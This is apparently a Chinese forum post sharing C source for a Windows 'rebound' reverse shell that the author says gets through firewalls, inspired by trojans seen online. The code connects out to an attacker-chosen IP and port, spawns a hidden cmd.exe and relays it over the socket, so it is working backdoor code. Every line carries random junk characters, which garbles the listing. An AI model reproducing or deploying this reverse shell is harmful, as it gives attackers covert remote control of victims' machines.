Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 A0:rn\$l3  
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/* ============================== N1B$z3E*  
Rebound port in Windows NT 9Vo*AK'&U  
By wind,2006/7 8:>V'j  
===============================*/ X-#&]^d  
#include V1~@   
#include DTSf[zP/  
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#pragma comment(lib,"wsock32.lib") </u=<^ire  
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void OutputShell(); e~d=e3mBp  
SOCKET sClient; h9/fD5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "%
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void main(int argc,char **argv) e[s}tjx  
{ P-3f51Q  
WSADATA stWsaData; =1@LMIi5x  
int nRet; EC 1|$Co  
SOCKADDR_IN stSaiClient,stSaiServer; 6|~^P!&  
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if(argc != 3) ?^W1WEBm  
{ FSn3p}FVa  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~?FhQd\Q  
return; gn&Zt}@[  
} imeE&  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0^sY>N"  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %S'+x[4W  
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stSaiClient.sin_family = AF_INET; q=Vh"]0g  
stSaiClient.sin_port = htons(0); 0Qq<h;8xEc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =*"8N-FU  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ts9wSx~[+  
{ a[ayr$Hk?  
printf("Bind Socket Failed!\n"); ^ nI2<P  
return; "r*`*1  
} Q;g7<w17  
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JWIY0iP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _OyQ:>M6P  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (:HT|gKoE  
{ +{RTz)e?*  
printf("Connect Error!"); ;o9ixmT<-o  
return; \~"Ub"~I  
} }\Rmwm-  
OutputShell(); &9fQW?Czs  
} ?_i>Kx  
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void OutputShell() mfN'+`r  
{ }Sbk qd5  
char szBuff[1024]; pCA`OP);=  
SECURITY_ATTRIBUTES stSecurityAttributes; IEMa/[n/  
OSVERSIONINFO stOsversionInfo; -v.\W y~\  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &i(Ip'r  
STARTUPINFO stStartupInfo; KE@+I.x  
char *szShell; 5a$EXV  
PROCESS_INFORMATION stProcessInformation; [`t
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unsigned long lBytesRead; C5Q!_x(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Dws) 4hH  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); uVCH<6Cp  
stSecurityAttributes.lpSecurityDescriptor = 0; Z$JJ0X  
stSecurityAttributes.bInheritHandle = TRUE; UZ2_FP  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); XhHgXVVGG<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OyF=G^w  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }!oEjcX'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .i I{  
stStartupInfo.wShowWindow = SW_HIDE; b4i=%]v8  
stStartupInfo.hStdInput = hReadPipe; hdHz", )  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1o%#kf  
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GetVersionEx(&stOsversionInfo); KF_fz   
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switch(stOsversionInfo.dwPlatformId) 9hfg/3t('  
{ suwR`2  
case 1: WSu6chz)  
szShell = "command.com"; kpIn_Ea  
break; Z%]K,9K
 
default: (.cA'f?h  
szShell = "cmd.exe"; r|u[36NmA  
break; zR?R,k)m  
} _ZK^JS  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "u!gfG?oH  
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send(sClient,szMsg,77,0); <@KIDZYC  
while(1) <&l$xn  
{ X$we\t  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); {MUiK5:  
if(lBytesRead) 4k<o  
{ ]EX6Y  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RTcxZ/\"#  
send(sClient,szBuff,lBytesRead,0); J 7R(X  
} +9b{Y^^~T  
else )bOfs*S  
{ DJ,LQj  
lBytesRead=recv(sClient,szBuff,1024,0); 0]|`*f&p;  
if(lBytesRead<=0) break; G|rE\h 2w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >0{}tRm-P&  
} ~
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} "kyCY9)
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return; #XDgvX >  
}